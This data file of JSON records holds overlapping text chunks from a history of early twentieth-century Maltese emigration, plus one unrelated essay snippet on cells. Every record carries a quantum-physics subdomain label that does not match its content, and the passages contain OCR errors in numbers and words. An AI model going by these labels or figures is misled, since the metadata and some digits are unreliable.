the malta emigration committee had no money with which it could offer practical help to intending migrants. like so many other maltese bodies of the time it could only talk! the only scheme it approved ( only verbally ) was vadala ' s scheme of free emigration to brazil. and that turned out to be a colossal fiasco. the committee had no funds and its status was unofficial. it had no real power to back it. the only practical contribution it made to the movement of maltese emigration was the correspondence it entered into with the home and colonial governments. in the report published on november 26th 1910 under the signature of major general a. p. penton, president of the committee, it is stated that the gentlemen of the committee had sat for fifteen regular sessions and information had been received about such diverse countries as argentina, canada, cyprus, the transvaal", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4303307250506585, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.661285"} {"text": "the signature of major general a. p. penton, president of the committee, it is stated that the gentlemen of the committee had sat for fifteen regular sessions and information had been received about such diverse countries as argentina, canada, cyprus, the transvaal, chile and british honduras. the report ended with an appeal to the general public to contribute generously towards a fund from which loans could be given to intending migrants. as it was constituted the emigration committee was almost useless. in a speech delivered by the lieutenant governor, sir john clauson, to the council of government on july 30th 1913, one can find an indirect comment on the inefficiency of the committee even if the speaker did not intend it as such. sir john said : \" i have already alluded to the malta emigration committee, which preserves a sturdy attitude of complete aloofness from the government, which 1 much appreciate \". it was this ' sturdy aloofness ' which was so agreeable to the colonial administration, that made the committee largely useless and irrelevant and thus rendered it incapable of contributing anything substantial towards alleviating the hardship of those emigrants who were leaving their homes unaware of what was waiting for them on the other side of the world. the council of government, the gentlemen on the emigration committee, and local politicians, talked and occasionally wrote about the need of emigration in a manner which showed that the problem did not concern them ; they were only telling the lower classes that they had better emigrate to alleviate the burden on the economy and to seek a brighter future for themselves and their children. they worried about lazy youths because these were a potential threat to their way of life. the malta herald of august 1st 1910 made this point painfully clear : \" it is the emigration of the masses that malta wants, of the labouring classes of the farmer and agriculturist and of the various trades ; and it is on this account that we have always advocated the establishment of technical schools for our classes \". at least this newspaper spelled out clearly who was expected to leave the island, and it did come out with a valid suggestion : that intending emigrants should be taught a trade before setting out into the wide world. the two most serious handicaps of the maltese migrant at that time were, his inability to speak english and his status of unskilled labourer. these two disadvantages must also be seen against the background of poverty and lack of financial means. the need for a technical education rather than a mere literary one for the sons and daughters of the working classes had", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.43204502856930327, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 10, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.663395"} {"text": "his status of unskilled labourer. these two disadvantages must also be seen against the background of poverty and lack of financial means. the need for a technical education rather than a mere literary one for the sons and daughters of the working classes had been felt as far back as 1867 when dr charles casolani had recommended \" a general theoretical and practical school of mechanical engineering, art, manufactures, trades, agriculture etc \". casolani also suggested a nautical school stationed on a traning ship \" where a general, theoretical and practical course of instruction will be given to those who, after completing their preparatory studies... were willing to embrace the naval profession \". this school - ship was also to be made available to the \" lower orders \" so that they could be trained as sailors. casolani suggested that primary and technical education should be geared to practical use because... \" it is well known that in prussia every man is obliged to learn a trade from the prince imperial downwards \". the schools were to be the means by which the emigrants ' bread was to be earned and casolani also included instruction in cooking and in house - hold management as part of the practical education of maltese students. it is important to keep in mind that such wise suggestions were made way back in 1867 and repeated again in 1878. but the colonial administration would not shake itself into action, partly because it did not want to spend money on education and partly because of the troubled political situation in malta at that time. casolani himself was a well known imperialist. he had tied his suggestions to a very controversial condition, namely that of replacing italian with english so that that language would \" knit the hearts of these islands into one harmonious concord with the british crown \". again, the need of preparing the maltese migrant with a sound education was ignored by a somnolent and indifferent council of administration and rendered almost impos - sible by the fanaticism of the two opposing political groupings which were busy arguing with each other on the language issue while the population of the two islands was left without help and leadership. and while the politicians were wasting their time in grandi - loquent rhetoric and invective, the unemployed masses of malta and gozo, farmers, workers and youngsters were leaving their homes in increasing numbers. leaders of the community were not unaware of the dangers of mass emigration and they felt that something should be done to give migrants some direction, especially when a number of migrants would apply for a passport and actually board a", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4560201446258557, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 11, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.664540"} {"text": "were leaving their homes in increasing numbers. leaders of the community were not unaware of the dangers of mass emigration and they felt that something should be done to give migrants some direction, especially when a number of migrants would apply for a passport and actually board a ship without any precise idea as to where their destination lay. professor manche ' was of the idea that three solutions could be tried in order to put the migratory movement under some sort of dis - cipline. he thought that emigration from malta and gozo could either be organised by a syndicate as a private enterprise, or be taken up by the church with its system of parishes by which practically anybody in these islands could be reached, or by the colonial administration which would provide the cash needed in order to help penniless migrants defray, at least part of the expenses involved in order to reach the final destination. however, manche ' himself, rightly felt that the ultimate responsibility lay with the colonial administration. he had the foresight to come to the conclusion that \" emigration on a large scale cannot be undertaken either by capitalists or by the church \". he was justified when he said that organising emigration on some logical footing was the duty of the political men wh6 sat on the council of government under the chairmanship of the representative of the british crown. that same conclusion had been arrived at by sir adrian dingli who in a memorandum published in october 1878 had suggested that emigration to cyprus should be taken in hand by the government, and maltese colonists in cyprus should be given financial aid by the state and work under the protection of the british government. manche ' was also not favourable to the then prevalent idea of creating a greater malta overseas where the emigrant, though he had left his original country, could settle in a place peopled by settlers of his own race, speak his own language, hold the same old traditions and practise the religion of his fathers. instead, manche ' was of the idea that the governor should send a representative to an area marked as a possible site where maltese could successfully settle ; this representative would help intending emigrants to find accommodation and work and also act as interpreter. this representative would naturally be a maltese who would receive from the maltese government remuneration depending on the total of emigrants he had helped to settle on that site. another sound suggestion put forward by manche ' was the granting of a free passage to \" bona fide \" emigrants. this could be done, manche ' thought, by entering into an agree - men", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4621409326178907, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 12, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.665706"} {"text": "had helped to settle on that site. another sound suggestion put forward by manche ' was the granting of a free passage to \" bona fide \" emigrants. this could be done, manche ' thought, by entering into an agree - ment with some steamship line such as the \" cairn line \" or the \" anglo - hellenic steam navigation company \". this suggestion was an extremely valid one because lack of available cash was the major obstacle in the way of maltese emigrants. had this suggestion been taken up in 1910 when manche ' had made it, many maltese would have left for north america. the irony of it all was that although the maltese did have intelli - gent spokesmen for their cause, since malta was a colony and lacked the strength of a representative form of government, the maltese could talk and write in vain because their ideas were not backed by political power. decisions about their livelihood did not rest with them but with their colonial masters. besides practical suggestions, professor manche ' made other useful recommendations. manche ' wanted \" a reliable clerk \" to be appointed here in malta who would collect information about receiving countries and make such information available to those who were interested. this clerk was to make sure that migrants were fit to embark and were also serious in their minds about their decision to emigrate and therefore qualify for a free ticket. his other duty would be to circulate regulations to the towns and villages and with the help of the local parish priest to explain in maltese such regulations to the illiterate. since manche ' was himself a doctor of medicine he was very insistent on migrants being in good shape. he had pleaded with the authorities to help stamp out trachoma. manche ' reasoned that good health was indispensable for the success of an emigrant on whose clean bill of health rested the chance of finding work. moreover stringent sanitary regulations barred unfit immigrants from gaining a foothold into the new country and manche ' himself knew... \" of several maltese who were precluded from disembarking... suffering the loss not only of their probable employment but also the expense incurred in going there and back \". manche ' also suggested that emigrants should be of good conduct and have their certificates signed by the police and their parish priest. the same emigrants were to possess at least \u00a310 before setting out on their destination. manche ' felt that emigrants should preferably be unmarried ; if they had a family they should carry with them suffi -", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.477828350472346, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 13, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.666869"} {"text": "the police and their parish priest. the same emigrants were to possess at least \u00a310 before setting out on their destination. manche ' felt that emigrants should preferably be unmarried ; if they had a family they should carry with them suffi - cient capital to support their dependants until they found employment. skilled migrants and agriculturists were to be preferred to those who had had little or no experience of any specific type of work. however, unskilled workers, of whom malta had an over abun - dance, could be sent to \" virgin lands \" where all kinds of work was required. those who knew some english were to be preferred to those who knew no english at all. finally, manche ' was of the opinion that areas of high concentration of maltese immigrants should never be without the two men indispensable for a sense of security : a priest and a doctor. these two must be maltese in order to freely communicate with their fellow countrymen. unfortunately none of these suggestions were ever taken up. there were some maltese who thought that the best way to organise emigration was for the maltese to buy land in australia, rhodesia or british east africa and emigrate there in large numbers, about 50, 000, in order to create an area that in future would be something like another malta - the greater malta already alluded to. it was thought that a capital of about \u00a31 00, 000 was needed to realise this project. needless to say that the administration never even considered the idea because anything that involved money was discreetly ignored. some hoped that the church would provide the necessary capital ; this would be a patriotic contribution to help those who were in need and would also advance the cause of religion because emigrants from catholic malta would plant the cross in the heathen parts of darkest africa. the royal commission of 1911 in its report made public the following year accepted the idea of founding a maltese colony which would serve as a nucleus for future migrants and would also solve the thorny problem of communication since the maltese spoke only their own language. the commission called the suggestion of creating a maltese colony as \" the only arrangement practicable \". the church did set up a \" league of the apostleship of prayer \" which had as its aim the giving of moral and material help to those in dire need. the league established a penny bank which accepted small deposits from people who were saving for their passage. the league was also involved in correspondence about the feasibility of establishing a maltese colony in floresville, texas, u. s.", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.45243672595789824, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 14, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.667882"} {"text": "to those in dire need. the league established a penny bank which accepted small deposits from people who were saving for their passage. the league was also involved in correspondence about the feasibility of establishing a maltese colony in floresville, texas, u. s. a., or in the area around the town of malta in the state of montana. in floresville there were already some maltese colonists with - a maltese priest amongst them. in 1910 the league was corresponding with the bishop of great falls in montana, u. s. a., who had expressed interest in receiving catholic im - migrants in his diocese. again the work of the league was largely ineffectual. it was an ecclesiastical body which had no official status and had to rely on charity for funds. members of the league did ask the administration for funds ; it appealed to the wealthy classes. none would listen. eventually the only concrete result of the league was the setting up of the penny bank and its correspondence with catholic prelates and associations abroad thus dis - seminating information on the conditions prevailing in various lands. the church had tried to play a part in the development of organised emigration from malta but did not have the necessary status to sponsor a national exodus, nor was the participation of the church in a purely economic and political venture desirable. more - over, emigration itself was a controversial issue which divided political opinion in malta. the governor, on the other hand, had no objection to allowing thousands of maltese leaving their island and he was equally glad that that was a process by which the administration was relieving its exchequer of unwanted people without spending a penny. another alert maltese gentleman, who was himself a convinced imperialist, urged the government to move in the matter of emigration because that was a challenge which was not to be - left in the hands of inept philanthropists. the gentleman in question was commander v. e. speranza who in january 28th 1911 was in the chilean port of valparaiso aboard his ship \" guatemala \". speranza had been interested in the movement of emigrants from malta to british possessions for a very long time. he was also a determined opponent of those who upheld the privileged position of the italian language in malta and he wrote that the compulsory teaching of english in all maltese schools should be instituted without hesitation and with all possible speed. moreover speranza felt that the excessive population of the island was a blessing rather than a headache. speranza reasoned that as the population increased more maltese would emigrate and thus strengthen the loyal numbers of british", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4555963851445538, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 15, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.668990"} {"text": "without hesitation and with all possible speed. moreover speranza felt that the excessive population of the island was a blessing rather than a headache. speranza reasoned that as the population increased more maltese would emigrate and thus strengthen the loyal numbers of british subjects in the colonies in which they settle. speranza felt that the immediate adoption of the english language as the principal one in all government schools was imperative. the teaching of english to maltese students was a wise investment in the future. speranza suggested the creation of a mutual benefit scheme between malta and the receiving country. speranza wisely suggested that maltese should settle in the australian state of victoria. he proposed sending a small pioneering party to test local conditions and prepare the way for the thousands who were to follow. speranza suggested that a loan of \u00a3100, 000 at 3 % interest should be floated by the malta government and the interest paid by an increase in taxation. speranza was not listened to ; he had however foreseen a situation which was to develop some forty years later when emigrants from malta would depart in their thousands towards australia and many would prefer the state of victoria. speranza like manche ' before him talked to deaf ears. when it came to money matters the ears of the colonial administration were stone deaf. the question of emigration hinged on one fundamental requirement : that of finance. most of the unemployed and the under - employed were too poor to spend money on their tickets to go to distant countries such as u. s. a. and australia. and these were the people who needed to go. because of lack of money emigrants only ventured as far as the countries bordering on the mediterranean because these were near enough and going there did not entail much expense. organised emigration was not possible unless the state was prepared to assist financially those who wanted to go. a letter dated april 6th 1911 which appeared in the daily malta chronicle, suggested the setting up of a voluntary fund to which some two hundred contributors would donate \u00a35 each in order to raise a fund of \u00a31, 000 which was to be made available to applicants who were seeking their future beyond the shores of these islands. the idea was that needy migrants would be given a loan to help them obtain their passage money and these would repay the loan as soon as they found work. if they felt like it they were to give a donation to the fund. the two hundred contributors were to expect no return for their money ; any payments would go towards increasing the fund so as to help more people buy their tickets.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.4178482609554425, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 16, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.669985"} {"text": "they found work. if they felt like it they were to give a donation to the fund. the two hundred contributors were to expect no return for their money ; any payments would go towards increasing the fund so as to help more people buy their tickets. at the sitting of the council of ministers held on july 30th 1913, the lieutenant governor at that time, sir john clauson, promised \u00a3300 for the setting up of an emigration information office. this was an idea which had been put forward by the royal commission of 191 1. the commissioners had suggested that the pamphlets and information printed by the emigrants information office in london should be translated into maltese and made available throughout different towns and villages in malta. two years later the local administration was still toying with the idea, when finally sir john clauson made it known that the emigrants information office was to be part of the passport branch in valletta... \" where we have our finger on the pulse of the emigration movement and through which practically every emigrant passes \". sir clauson made it clear that if the emigration information office started functioning, its sole aim would be to furnish information on the same basis as the malta emigration committee of 1907. migrants were to be exempted from the 2s6d fee which they normally had to pay when they applied for a passport as long as he \" furnishes us with information as to the circumstances of his emigration and destination \". the lieutenant governor also hoped that the information given by those intending to go abroad would help the administration in building up a picture of the dimensions of emigration from these islands. the people ' s insistence on the need for assisted passages remained ignored because, in sir john ' s words... \" it has been decided not to ask the council for funds to promote emigration by advances to emigrants \". the official reason given by the administration was that money offered by the state... \" would have dried up the springs of private subvention to emigrants \". sir john thought that state help would be an unnecessary interference in the migration of maltese. he also somewhat vaguely described migration as... \" an aggregation of personal movements for private business purposes \". it was obvious that the migrants had no one to turn to when it came to actually asking for cash. men with philanthropic ideas could express noble thoughts and set them down in writing, but what the migrant needed was funds to help him buy expensive tickets which were normally beyond his reach. to appeal for voluntary contributions was touching but useless. typical useless suggestions were the", "subdomain_id": "subdomain_quantum_cryptography", "similarity_score": 0.4414095760399146, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 17, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.671024"} {"text": "men with philanthropic ideas could express noble thoughts and set them down in writing, but what the migrant needed was funds to help him buy expensive tickets which were normally beyond his reach. to appeal for voluntary contributions was touching but useless. typical useless suggestions were the execution of musical pro - grammes at the argotti gardens in floriana for the leisured classes, proceeds from which were supposed to go towards helping migrants. others thought that \" subscription balls \" could be organised and money raised for the purpose of providing financial help to those who intended to emigrate. there were noteworthy exceptions to the general rule of high - sounding but useless suggestions. these two honourable exceptions were two gentlemen, vincenzo bugeja and giovanni pappaffy. bugeja was a wealthy philanthropist who left substantial sums of money to help the orphans and other unfortunate children. in his will bequeathed money to an emigration fund. this money was to be used towards defraying some of the expense which travel then entailed. in 1912 the number of applications had already exceeded by far the amount of money available ; the bugeja fund was, by that year, in a depleted condition. however, between 1909 and 1911 the board entrusted with the running of the bugeja fund had helped sixty six applicants and given out a total of \u00a32669. 1s. 4d. that was no inconsiderable sum for those days. the destinations of those who received help from the bugeja emigration fund were many but those who wished to emigrate to north america outnumbered the others. in north america three destinations seem to have been popular. these were new york, california and winnipeg in canada. other stated their destinations as north africa, australia, the united kingdom and tasmania. the other benefactor of maltese emigrants was greek - born giovanni di niccolo pappaffy who was born in 1792 in salonika and emigrated to malta when he was only eighteen years of age and later on married a maltese girl who herself had been born in corsica. the pappaffys both knew the hardships of emigration and since their business in malta had been highly profitable they decided to set up the pappaffy fund to help subsidise those who wished to seek their future elsewhere. giovanni was himself a very highly respected citizen, so much so that he was one of the spokesmen for the con - stitutional rights of the maltese before the royal commission of 1836. giovanni grew to respect the good qualities of the maltese worker and he encouraged young men who were unemployed to seek their future", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4917421738093562, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 18, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.672017"} {"text": "he was one of the spokesmen for the con - stitutional rights of the maltese before the royal commission of 1836. giovanni grew to respect the good qualities of the maltese worker and he encouraged young men who were unemployed to seek their future where their qualifications could help them to advance in life. when pappaffy died in 1886 he had left in his will \u00a31 0, 000 to the maltese people and he stipulated that the interest from that capital was to go towards financing the passage fare of those who wished to emigrate. those eligible to receive help from the pappaffy fund were to be young lads between eighteen and twenty - four, who had a working knowledge of the first four rules of arithmetic, who knew two of the following languages : italian, french, english or greek, and who mastered the beautiful art of calligraphy. the pappaffy fund had been a generous gesture from a greek to the maltese people whom he admired. up to 1961 a total of 554 migrants had received assistance from the fund which totalled \u00a323, 786. 15s. between the years 1908 - 191 1, sixty - two emigrants received subsidies from the fund and of these only two had returned home, and these because of ill health. although some had gone to egypt and the sudan, the majority, twenty - two in all, preferred north america. eleven chose australia, five of whom settled in sydney, while others went to the united kingdom the others to mediterranean countries. the gestures of bugeja and pappaffy were commendable and they should have inspired similar efforts from those who were always ready to give suggestions but did nothing practical. but bugeja and pappaffy were mere drops in the vast sea that surrounded the maltese islands. moreover the money from these two funds never really reached the illiterate masses of the people who most urgently needed financial assistance. pappaffy ' s conditions effectively e xcluded dockyard workers and farmers who could hardly write in their own language much less know anything about the art of calligraphy. in addition, married men, women, applicants who had more than twenty - four years, and those with no education were all debarred from the benefits offered by pappaffy. one commentator justly moaned about bugeja and pappaffy when he wrote in 191 1 : \" these exist, for all - practical purposes, for the benefit of those who have not yet experienced the bitterness of disappointment ; working men, married generally, who can no longer support here their wives, their children", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4555510303165818, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 19, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.672964"} {"text": "a meagre sum of money to go away from what had been his home and country, only to be crushed by failure ; probably the cause of this fail u re was trachoma. the problems of lack of finance and occasional ill health debarred the way to emig - ration, but the migrant from malta had another disadvantage. he had no one to clearly suggest to him where to go. in 1911 professor manche advised against emigration to canada and australia because canada was too cold and australia was too english. sub - sequent history of maltese emigration was to prove manche wrong. manche was right however when he said that california was a good place to go to. he also suggested the american states of texas, kansas, missouri and oklahoma, but emigration to these states never got started. charles mattei recommended emigration to british columbia and the american pacific states of washington, oregon and california. others suggested australia, rhodesia and british east africa, particularly the sudan, this latter country was preferable because of its relative accessibility, its affiliation within the british empire and because... \" it must not be forgotten that we are more or less of punic origin and that the southern sun agrees with us better than the northern ices and snow \". the maltese themselves had shown a marked preference to the u. s. a. some others had gone to canada and a trickle had even ventured as far as australia. the old established maltese settlements in north africa continued to thrive. the royal commission of 1911 had considered egypt and the sudan as the only openings left to maltese emigrants, with the exception of california. the com - missioners noted that... ', the maltese have long been accustomed to emigrate to north africa, and we believe that they are perfectly capable of taking advantage, without government assistance, of such openings as present themselves \". one cannot but note the commission ' s anxiety not to involve the administration in organising some form of financial help to needy emigrants. it came as no surprise when the commissioners admitted that they could find no satisfactory conclusion to the problem of emigration because only governments had the power to do so. the colonial administration remained adamant on its refusal to proffer financial assistance to prospec - tive migrants and because of lack of hard cash no real and effective organisation could be put into the maltese emigration movement. although emigration as the alternative to excessive population had been advocated at least since 1895, a thinking section of maltese society had refused to accept emigration as the panacea to maita ' s problems", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.43777079787873396, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 21, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.675044"} {"text": "and effective organisation could be put into the maltese emigration movement. although emigration as the alternative to excessive population had been advocated at least since 1895, a thinking section of maltese society had refused to accept emigration as the panacea to maita ' s problems. the national party, with its pro - italian feelings, had opposed emigration for reasons already stated. since 1903 the elected members in the council of administration were mostly from the ranks of the national party and these expressed their xenophobic fears about the number of foreigners who were coming in while the maltese were being urged to emigrate. the organ of the national party, \" malta \", on february 7th l9ll called the attention of its readers to the large number of settlers from england who had made their permanent abode on the island. the paper also complained about foreign workers who had been previously recruited to work on the breakwater and on other naval works and who had stayed in the island when there was no longer any need of them because major construction works had ended by 1907. another paper, \" the malta herald \" of february 9th 1911 noted that such men and their families... \" all seem to have found means of living,... the fact must not be lost sight of that malta is our own, and for the maltese in preference to aliens \". even pro - emigration sources voiced their concern about the inflow of outsiders and called for effective checks on foreigners running profitable businesses in competition with locals. it seemed then that all thatan alien needed to settle in malta was a money guarantee which was easily obtainable even by those who had absolutely no uncontrolled emigration, on the other hand, was worrying some observers among whom are to be included the two gentlemen who were so involved in the movement : manche and mattei. as early as august 5th 1910, manche warned that mass emigration could inflate wages because of the dearth of available men. manche proposed the reclamation of abandoned farmland which was state property. this land would then be offered free of charge to whoever was willing to work it and then, after five years the tenant would start paying a nominal rent. during the sitting of the council of government held on february 8th 1911 dr mattei noted the large number of able - bodied men who were leaving the island. dr mattei calculated that for every migrant who had left the island ( he had earlier on calculated that some 300, 000 maltese were abroad! ) the local exchequer was losing some \u00a340, 000, allowing l s 8d a day for the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.42220983041809285, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 22, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.676026"} {"text": ". dr mattei calculated that for every migrant who had left the island ( he had earlier on calculated that some 300, 000 maltese were abroad! ) the local exchequer was losing some \u00a340, 000, allowing l s 8d a day for the wealth - producing labourer and an active life - span of some forty years. without wholly accepting mattei ' s statistics and calculations it was obvious that the less pleasant effects of emigration on a grand scale were already tothering those who had the future well - being of malta at heart. after all the best investment of a nation has a ~ been its working population and an exodus of healthy men from an island contained a quarter of a million people could have had a debilitating effect. maltese who had already settled abroad were writing cautious letters home ; some dissonant voices were occasionally heard through the press. a certain mr charles e. bonavaia who had emigrated to western australia wrote a critical letter bearing the date of may 30th 1913 in which he criticised the way malta was being governed and stated that the present hardship in the island could have been avoided if those who were responsible had planned for the island ' s development. bonavia wrote... \" although malta is over - populated, if things were carried on there as they are in other parts of the world, the island, small as it is, would be big enough to hold the lot of them \". bonavia was not typical of the average emigrant. he was highly educated and was a graduate of the royal university. malta ' s ever active press did not accept emigration as the final solution. the protection of local products by levying taxation on imported goods was another suggestion to improve the economy of malta. the attitude of the average maltese on importation and taxation was ambivalent to say the least. maltese mentality had been influenced by colonial thinking. locally produced articles were thought of as low class and imported products were considered better simply because they were made in other countries. while imported goods flooded the local market - in 1910 the import bill rose to the tune of about \u00a32, 000, 000 - there was fierce opposition to any imposition of duties on foreign goods. the national party was steadfastly opposed to duties and taxes and consequently the council of administration was not able to give protection to local goods. the editor of the daily malta chronicle in an editorial of august 27th 1910, bemoans the fact that a maltese gentleman would extend his patronage to a foreign barber because that was the trendy thing to do ; foreign shoes", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.427055010643505, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 23, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.677030"} {"text": "give protection to local goods. the editor of the daily malta chronicle in an editorial of august 27th 1910, bemoans the fact that a maltese gentleman would extend his patronage to a foreign barber because that was the trendy thing to do ; foreign shoes were more fashionable. the painting inside the parish church at birkirkara, completed at a cost of about \u00a35, 000 was entrusted to a foreigner ; the same thing had been done when the church of st paul in valletta was decorated by an italian. the editor, conscious of the fact that so many maltese were out of work, put the question : \" have we no local talent? \" what malta sorely needed at that time was a form of a representative government that would look after the civilian needs of the people. to the british, the island was a strategic base necessary for the domination of the mediterranean to guard the sea - routes to india. few cared about the real needs of the people : education, health, and a stable economy that was not wholly dependent on the strategy of imperial policy planned in london. in 1887 a constitution had been granted which tried to reconcile imperial and maltese interests through a system of dual control. the council of government was made up of twenty members, fourteen of whom were to represent the maltese electorate, while the governor retained the power of the veto to safeguard imperial interests. this constitution was revoked in 1903 because of constant clashes between colonial and national needs. the island was again to be ruled by a council with elected members who were outnumbered by those representing the interests of the empire. this constitution was despised by the maltese, and the representatives of the people very often resigned soon after they were elected. this they did as a form of protest. the maltese could not speak with one voice, divided as they were by internal political divergencies. however, radical spokesmen for the unemployed began to address the masses. one such angry voice was that of manwel dimech ( 1860 - 1921 ) who opposed malta ' s colonial status, called for economic and political independence, wrote in favour of the maltese language when others were arguing for the supremacy of either english or italian, and championed the cause of the emancipation of women. dimech had con - siderable influence among dockyard workers some of whom joined his radical league of the enlightened ( xirka tal - imdawwlin ) which he founded in 191 1. when war broke out in 1914 dimech was exiled to alexandria, egypt, where he died in 1921. during the first three months of 1913 a", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.40374841376430215, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 24, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.678059"} {"text": "enlightened ( xirka tal - imdawwlin ) which he founded in 191 1. when war broke out in 1914 dimech was exiled to alexandria, egypt, where he died in 1921. during the first three months of 1913 a local newspaper wrote about \" a veritable flow tide of emigration from malta to british north america \". in march of that year at least one hundred and fifty emigrants departed for canada and the editor of that paper speculated whether those were the beginnings of what might in future be something like seven thousand leaving every year. that forecast never materialised because of the declaration of war in 1914. no official statistics were kept. when sir f. mowatt of the royal commission of 1911 asked e. p. s. roupell how many maltese had emigrated during the last few years, roupell regretted that he did not know. when intending emigrants applied for their passports and the clerk asked them what their destination was, according to roupell ' s evidence, many would simply tell him to put in any place he liked. two years later, in 1913, roupell ' s successor, clauson, spoke of... \" the stream of emigration... during the last few months the exodus to canada has been so great... \". a statement published in \" the malta herald \" bearing the date of june 6th 1912 shows that between january 1 st 1909 and may 1 st 1912 there were 1, 222 passports issued which covered 1, 203 emigrants. it must be borne in mind that such statistics do not include mediterranean ports but only countries such as australia, canada, u. s. a. and brazil. the largest number of applicants, 602 in all, were those who wanted to emigrate to u. s. a. one other difficulty in establishing the number of emigrants during the period in question is that malta had no direct routes with the receiving countries and therefore, most emigrants had to go to north america or australia through a european port. ships calling at valletta sailed for naples, genoa, marseilles or le havre and then the maltese had to embark on a transatlantic liner. men who left malta ' s ports in this manner would be listed as having gone to europe and not to america or australia. it is also a known fact that a sizeeable number of passengers who had embarked for north african ports such as, port said, tripoli or tunis, would then carry on their journey to more distant parts of the world the report of the malta", "subdomain_id": "subdomain_quantum_entanglement", "similarity_score": 0.4510147722042513, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 25, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.679704"} {"text": ". it is also a known fact that a sizeeable number of passengers who had embarked for north african ports such as, port said, tripoli or tunis, would then carry on their journey to more distant parts of the world the report of the malta emigration committee of november 26th 1910 showed that during 1907 - 1910 the trend of emigration from malta was to western seaboard of u. s. a. and canada where some maltese had been settled since 1895. that report showed that in california alone there were about two hundred maltese. during 1910 some three hundred emigrants, mostly from mosta and naxxar had settled in san bruno, california, where... \" they were almost all living together in the same place \". in a letter written on may 19th 1911 dr charles mattei claimed that during the eleven months between april 1910 and may 1911 he had sent about five hundred maltese to north america. it is possible though, that this number includes the previous three hundred already mentioned in the report of november 1910. according to reports printed in various newspapers of the time, between february 1912 and march 1913 about one hundred migrants left to various destinations within the u. s. a. this should bring the total number of known departures to about 600. such a conjecture is compatible with the figure of 602 persons, who according to the statement issued in 1912, had applied to emigrate to the u. s. a. the migratory movement from the maltese islands during the first fifteen years of the twentieth century was only a very small part of the vast emigration that was going on from europe to other less populated parts of the world. the drawbacks which made this process difficult for the maltese were also experienced by other european migrants, but at least no maltese emigrant ever left his island because of political or religious persecution. on the other hand the maltese did have some peculiar problems of their own : their country of origin was largely unknown and because of this they very often aroused suspicion. the maltese described themselves as europeans who were also british subjects. but to call oneself british without being able to speak english was somewhat contradictory. malta was a colony with no responsible parliament and the colonial administration was never very interested in the civilian needs of the population because to the british policy - makers the island ' s value was purely strategic and related to the defence and interests of the empire. emigration was not the most desirable solution to the underdevelopment of malta ' s economy ; it did however, offer some respite. after all many major european nations looked on emigration as a solution", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.427117762197742, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 26, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:15.682194"} {"text": "- join over 1. 2 million students every month - accelerate your learning by 29 % - unlimited access for just \u00a34. 99 per month compare and contrast a motor nuerone and a bacterium the first 200 words of this essay... the aim of this essay is to compare and contrast a salmonella bacteria ( prokaryotic ) cell with a motor neurone ( eukariotic ) cell. cells are the basic structures contained in all living organisms, their function, size and shape differ depending on which organism serves as its host. they are catagorised as either eukaryotic or prokaryotic cells, prokaryotic being the old greek term meaning ' before nucleus '. it wasn ' t until the 17th century that cells were discovered by the european antonie van leeuwenhoek with his latest invention - a very primitive microscope. these new discoveries were later named by an english scientist by the name of robert hooke. ( wikipedia 2007 ) the eukaryotic cell can be found in either animals or plants, although the two are very different in both structure and function. the animal cell has a complex internal structure containing many membrane bound organelles that individually have a defined role to play within 